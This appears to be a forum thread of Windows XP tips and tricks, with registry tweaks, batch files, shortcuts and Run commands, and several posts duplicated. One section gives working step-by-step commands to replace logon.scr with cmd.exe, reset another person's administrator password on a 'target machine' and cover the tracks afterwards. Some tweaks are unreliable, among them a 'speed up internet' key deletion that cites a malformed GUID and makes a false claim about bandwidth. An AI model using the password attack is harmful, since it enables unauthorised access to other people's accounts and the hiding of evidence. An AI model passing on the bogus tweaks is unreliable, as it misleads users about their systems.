if you know some tips and tricks and you want to share with all the members please share it.



-shut down Ballon tips-

1. START>RUN>REGEDIT
2. go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3.find "EnableBalloonTips" or make new DWORD with that name and set value "0"
4.restart pc

-No to all when copying-

when you are copying, if you already have same files you will get the message with buttons YES,YES TO ALL, NO, CANCEL.
what about NO TO ALL.
when you get that window press SHIFT and click NO. that is the button NO TO ALL.
And you want erase the same files in that folder.

-repair autoexec.nt-

if you get the message that you canot run application because you dont have file autoexec.nt. here is the solution.
get the spybot-serach and destroy and adaware. run windows in SAFE MODE and than clean your pc with spybot and adaware.
restart pc. go to c:/WINDOWS/repair copy file autoexec.nt and paste it in c:/WINDOWS/system32. again restart pc. now run the applicaton. it works 99,99%



now is your turn! show us what you got!

These registery files can be used to optimize windows.

Add notepad to right-click menu

CODE

REGEDIT4

[HKEY_CLASSES_ROOT\*\shell\Notepad(&N)\command]
@="notepad.exe %1"

Disable Auto Run

CODE

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=hex:91,00,00,00
"NoDriveAutoRun"=hex:ff,ff,ff,03

Disable System Restore

CODE

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]
"DisableSR"=dword:00000001

Show Admin on Logon

CODE

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

"Administrator"=dword:00000001

These Batch Files can do a certain job.

Delete Wallpapers

CODE

@ECHO OFF
DEL "%systemroot%\Blue Lace 16.bmp"
DEL "%systemroot%\Coffee Bean.bmp"
DEL "%systemroot%\FeatherTexture.bmp"
DEL "%systemroot%\Gone Fishing.bmp"
DEL "%systemroot%\Greenstone.bmp"
DEL "%systemroot%\Prairie Wind.bmp"
DEL "%systemroot%\Rhododendron.bmp"
DEL "%systemroot%\River Sumida.bmp"
DEL "%systemroot%\Santa Fe Stucco.bmp"
DEL "%systemroot%\Soap Bubbles.bmp"
DEL "%systemroot%\Zapotec.bmp"
DEL "%systemroot%\Web\Wallpaper\Crystal.jpg"
DEL "%systemroot%\Web\Wallpaper\Friend.jpg"
DEL "%systemroot%\Web\Wallpaper\Home.jpg"
DEL "%systemroot%\Web\Wallpaper\Moon flower.jpg"
DEL "%systemroot%\Web\Wallpaper\Peace.jpg"
DEL "%systemroot%\Web\Wallpaper\Power.jpg"
DEL "%systemroot%\Web\Wallpaper\Purple flower.jpg"
DEL "%systemroot%\Web\Wallpaper\Radiance.jpg"
DEL "%systemroot%\Web\Wallpaper\Ripple.jpg"
DEL "%systemroot%\Web\Wallpaper\Stonehenge.jpg"
DEL "%systemroot%\Web\Wallpaper\Vortec space.jpg"
DEL "%systemroot%\Web\Wallpaper\Ascent.jpg"
DEL "%systemroot%\Web\Wallpaper\Autumn.jpg"
DEL "%systemroot%\Web\Wallpaper\Azul.jpg"
DEL "%systemroot%\Web\Wallpaper\Follow.jpg"
DEL "%systemroot%\Web\Wallpaper\Red moon desert.jpg"
DEL "%systemroot%\Web\Wallpaper\Tulips.jpg"
DEL "%systemroot%\Web\Wallpaper\Wind.jpg"

Delete Screensavers

CODE

@ECHO OFF
DEL "%systemroot%\system32\dllcache\scrnsave.scr"
DEL "%systemroot%\system32\dllcache\ss3dfo.scr"
DEL "%systemroot%\system32\dllcache\ssbezier.scr"
DEL "%systemroot%\system32\dllcache\ssflwbox.scr"
DEL "%systemroot%\system32\dllcache\ssmarque.scr"
DEL "%systemroot%\system32\dllcache\ssmypics.scr"
DEL "%systemroot%\system32\dllcache\ssmyst.scr"
DEL "%systemroot%\system32\dllcache\sspipes.scr"
DEL "%systemroot%\system32\dllcache\ssstars.scr"
DEL "%systemroot%\system32\dllcache\sstext3d.scr"
DEL "%systemroot%\system32\scrnsave.scr"
DEL "%systemroot%\system32\ss3dfo.scr"
DEL "%systemroot%\system32\ssbezier.scr"
DEL "%systemroot%\system32\ssflwbox.scr"
DEL "%systemroot%\system32\ssmarque.scr"
DEL "%systemroot%\system32\ssmypics.scr"
DEL "%systemroot%\system32\ssmyst.scr"
DEL "%systemroot%\system32\sspipes.scr"
DEL "%systemroot%\system32\ssstars.scr"
DEL "%systemroot%\system32\sstext3d.scr"

That's some of what I have

How to make a toolbar containing shortcuts on any side of the screen!

1. make a folder somewhere in your HDD and name it something appropiate ('Programs' etc.)

2. R-Click on start menu and select Toolbars->New toolbar...

3. Browse and select the folder.

4. Drag the toolbar usingits 'handle' to any side of the screen (NOTE: you may need to UnSelect 'Lock the Taskbar' in the r-click menu before you see the handle)

5. You can set many options by right clicking on the toolbar

TO ADD PROGRAMS:

Create their shortcuts in the folder you created in step 1

Trick on startup windows

Programs/Run

msconfig

and connect or diconnect you program with startup windows

Modification of the following paths


DEL "%systemroot%\Blue Lace 16.bmp"
DEL "%systemroot%\Coffee Bean.bmp"
DEL "%systemroot%\FeatherTexture.bmp"
DEL "%systemroot%\Gone Fishing.bmp"
DEL "%systemroot%\Greenstone.bmp"
DEL "%systemroot%\Prairie Wind.bmp"
DEL "%systemroot%\Rhododendron.bmp"
DEL "%systemroot%\River Sumida.bmp"
DEL "%systemroot%\Santa Fe Stucco.bmp"
DEL "%systemroot%\Soap Bubbles.bmp"
DEL "%systemroot%\Zapotec.bmp"
DEL "%systemroot%\Web\Wallpaper\Crystal.jpg"
DEL "%systemroot%\Web\Wallpaper\Friend.jpg"
DEL "%systemroot%\Web\Wallpaper\Home.jpg"
DEL "%systemroot%\Web\Wallpaper\Moon flower.jpg"
DEL "%systemroot%\Web\Wallpaper\Peace.jpg"
DEL "%systemroot%\Web\Wallpaper\Power.jpg"
DEL "%systemroot%\Web\Wallpaper\Purple flower.jpg"
DEL "%systemroot%\Web\Wallpaper\Radiance.jpg"
DEL "%systemroot%\Web\Wallpaper\Ripple.jpg"
DEL "%systemroot%\Web\Wallpaper\Stonehenge.jpg"
DEL "%systemroot%\Web\Wallpaper\Vortec space.jpg"
DEL "%systemroot%\Web\Wallpaper\Ascent.jpg"
DEL "%systemroot%\Web\Wallpaper\Autumn.jpg"
DEL "%systemroot%\Web\Wallpaper\Azul.jpg"
DEL "%systemroot%\Web\Wallpaper\Follow.jpg"
DEL "%systemroot%\Web\Wallpaper\Red moon desert.jpg"
DEL "%systemroot%\Web\Wallpaper\Tulips.jpg"
DEL "%systemroot%\Web\Wallpaper\Wind.jpg"



is very dangerous if you doing it first time, because I had an issue when my logon picture path got changed and I couldn't get in on my account !

If you press the windows key (in the keyboard) plus E, R, D or F you can open certain things, like:

E = EXPLORER
R = RUN
D = DESKTOP
F = FIND
M = MINIMIZE

This opens up a Windows Explorer window, a run box (like the one thats in the start menu), show desktop, a search window or minimize all windows open (which is not exacly the same that showing desktop).

Maybe a lot of people know this but if you dont, if you are running microsoft windows xp you have 2 messengers; windows messenger and microsoft network messenger (MSN messenger). You can access both, and have to sessions open at the same time.

Bring up yer run box and type:

msnmsgr - for msn messenger
msmsgs - for windows messenger

Note that windows messenger would not be able to upgrade, but once, and it will still be the 4.7 version.

For those who dont know: you can access almost every program from this run box (windows + r), for example:

winword - microsoft office word
excel - microsoft office excel
powerpnt - microsoft office power point
calc - windows calculator
notepad - =
firefox - =
www.address.com - opens default browser with the given address
regedit - windows registry
wmplayer - windows media player

osk - on screen keyboard
magnify - on screen windows zoom
taskmgr - task manager
services.msc - services

etc etc.

You can close a window by double clicking the icon at the upper side of the same window, on the left, like if you were going to close it normally on the 'X' but in the left side.

You can browse through windows with alt-tab, most of you would know, but what some of you wouldnt is that you can go backwards, shift-alt-tabbing.. (the same as for normal tabbing through a form in the web or the options of any given 'options' menu, shift + tab will go back instead of forth).

You can view the screen upside down. Go to start > run rand type "esc" (yes, the escape key up and left corner of keyboard). Then grabb your screen and turn it around (im sorry, thought this would be funny ).

In Windows, there is something that allows you to end nonresponsive programs. It was first implemented in Windows 95, but optimized and best used in Windows NT, 2000, and XP. Here are the instructions to launch it in order to close nonresponsive programs and processes:

With Windows NT and 2000, press the keyboard combination "Ctrl+Alt+Delete" to get a window called "Windows Security". Some of the features may be disabled, depending on the network (corporate environment, etc.) conditions. Click "Task Manager" or press the key "T" to launch Task Manager. It is automatically set to a priority of "Above Normal". Task Manager can also be launched by right-clicking on the Windows Taskbar and selecting Task Manager.

With Windows XP, press the same keyboard combination, except Windows XP Home users will get Task Manager immediately without a "Windows Security" prompt. Windows XP Professional users have the same interface as that for Windows 2000 and NT.

The Task Manager can be used to monitor system performance (Performance tab), end applications (Applications tab), monitor and end processes (not recommended for non-techheads), and run new programs. It can help when a system appears to be frozen but is actually not.

use this website for more
http://www.webgardi.com/windows_xp_tip/index.php

hmm, most of the ones I know have already been said but to check whether your computer is truly frozen or just taking a long time on a process press the numlock (or capslock) keys on your keyboard, if the keyboard LED lights up then its almost always a matter of waiting until your computer comes back to normal (or pressing ctrl+alt+del)

Latest Entries

SPEED UP YOUR INTERNET!
Lets start!
Open REGEDIT(Start->Run->Regedit)
Now you ll need to find a key on this location

"HKEY_LOCAL_MACHINE - Software - Microsoft - Windows -
Current Version - Explorer - RemoteComputer - NameSpace"

When you got there you ll need to delet this key (D6277990-4C6A-11CF-8D87-00AA0O60F5BF}

its because windows uses most of the bandwindth for microsoft's operations

Here's a pretty useless yet somewhat fun trick to rename the window title in IE- I've only tried this out on Win2k and Windows XP running IE6. I discovered it one day while curiously searching through the registry to see if I could change the "Internet Explorer provided by Abbot Laboratories" on my laptop (It's an ancient hand-me-down from my uncle)

This is a fairly safe trick. As long as you stick to the instructions here and don't go messing around with other Registry entries, you should be fine. However, just to be safe, you should always back-up your registry before doing any kind of manual editing.
1. Open the Registry Editor

Start -> Run -> type in regedit

2. Navigate to HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\INTERNET EXPLORER\Main

NOTE: If the Window Title key already exists, you can skip step 3.

3. Right click somewhere in the right panel and choose new String Value. Name it Window Title

4. Double click on Window Title and where it says "Value data" put whatever you want your IE window title to say- For example, you could put something like "Bob's Magical Internet Explorer!" or maybe something slightly less lame. When you've made up your mind, hit ok.

5. Now open up IE and behold your own custom window title located to the right of whatever the name of the website you're viewing is. If you decide later you'd rather stick to the default "Microsoft Internet Explorer" title, just go back delete the Window Title value.

this is copied from how to geek i think



If you press the windows key (in the keyboard) plus E, R, D or F you can open certain things, like:

E = EXPLORER
R = RUN
D = DESKTOP
F = FIND
M = MINIMIZE

This opens up a Windows Explorer window, a run box (like the one thats in the start menu), show desktop, a search window or minimize all windows open (which is not exacly the same that showing desktop).

Maybe a lot of people know this but if you dont, if you are running microsoft windows xp you have 2 messengers; windows messenger and microsoft network messenger (MSN messenger). You can access both, and have to sessions open at the same time.

Bring up yer run box and type:

msnmsgr - for msn messenger
msmsgs - for windows messenger

Note that windows messenger would not be able to upgrade, but once, and it will still be the 4.7 version.

For those who dont know: you can access almost every program from this run box (windows + r), for example:

winword - microsoft office word
excel - microsoft office excel
powerpnt - microsoft office power point
calc - windows calculator
notepad - =
firefox - =
www.address.com - opens default browser with the given address
regedit - windows registry
wmplayer - windows media player

osk - on screen keyboard
magnify - on screen windows zoom
taskmgr - task manager
services.msc - services

etc etc.

You can close a window by double clicking the icon at the upper side of the same window, on the left, like if you were going to close it normally on the 'X' but in the left side.

You can browse through windows with alt-tab, most of you would know, but what some of you wouldnt is that you can go backwards, shift-alt-tabbing.. (the same as for normal tabbing through a form in the web or the options of any given 'options' menu, shift + tab will go back instead of forth).

You can view the screen upside down. Go to start > run rand type "esc" (yes, the escape key up and left corner of keyboard). Then grabb your screen and turn it around (im sorry, thought this would be funny ).

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player

on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.